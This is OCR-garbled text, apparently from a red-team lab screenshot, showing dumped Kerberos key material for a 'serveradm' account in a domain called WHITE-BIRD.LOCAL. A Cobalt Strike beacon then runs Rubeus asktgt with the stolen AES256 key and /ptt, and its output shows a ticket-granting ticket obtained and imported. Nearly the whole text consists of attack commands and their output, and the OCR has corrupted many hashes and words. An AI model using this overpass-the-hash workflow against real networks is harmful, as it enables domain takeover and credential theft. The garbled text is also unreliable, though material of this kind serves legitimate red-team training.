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AES [T reekikd sazEeKeWs TTTTTT11 AES 111

Authentication Id 0 : 237981 (0OOEOEEOEO0:0003al9d)

Session Interactive from 1

User Name serveradm

Domain WHITE-BIRD

Logon Server

Logon Time

SID §5-1-5-21-2: 057062 i 1 K 3574- 1604

* Username serveradm

* Domain WHITE-BIRD.LOCAL
* password : (null)
* Key List :
aes256_hmac de2e8513417ca506e131218bbdc659beab073e00e534c032157016bd4b2e0f 92
rc4_hmac_nt 72foeefcc 50773b831cf2c9c
rc4_hmac_old 72foeefcc2! 350773b831cT2c9c
rc4_md4 T2foeefcc 0773b831cT2coc
rc4_hmac_nt_exp 72f0eefcc 0773b831cT2c9cC
rcd_hmac_old exp 72f0eefcc213ea8f350773b831ct2c9c

[0 TGTITITITTIITT] Rubeus [TTTTTT]

Rubeus. exe asktgt /user: <[ITP /domain: <[Tifqdn> /aes256: <aes [IP /nowrap

beacon> execute-assembly /opt/red/rubeus.exe asktgt /user:serveradm /domain:white-bird.local /aes256:d 5f3417ca506e131218bbdc659heab073e00e534c032157016bd4b2e0f92 /ptt /nowrap

[*] Tasked beac to run .NET program: rubeus.exe asktgt fuser:serveradm fdomain:white-bird.local faes256: 3417ca506e 131218bbdc659heab073e00e534c032157016bd4b2e0f92 sptt /nowrap
[+1 host called home, sent: 551733 bytes

[+] received output

Action: Ask TGT

Using aes256_cts_hmac_shal hash:
Building AS-REQ (w/ preauth) for
Using domain controller: 172.16.1.
TGT request successful!

+] received output
hase64 (ticket.kirbi):

doIFRDCCBUCGAwIBBaEDAgEWo0IEPDCCBDhhggQOMIIEMKADAGEFoRIbEFAISVRFLUJIUKQUTESDQUY1 JTAjo AHCAQKhHDAAGWZ remJ0Z3QbEHdoaXR1LW JpcmQubGOj YWy jggPsMIID6KADAGES0QMCAQKiggPaBIID1sWHcGcRg6s70QkBnF J7Ffy iy
[+] Ticket successfully imported!

+ krbtgt/white-bird.local
:  WHITE-BIRD.LOCAL
+ serveradm

UserRealm :  WHITE-BIRD.LO

StartTime H

EndTime

RenewTill

Flags
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Base64 (key)

ASREP (key)
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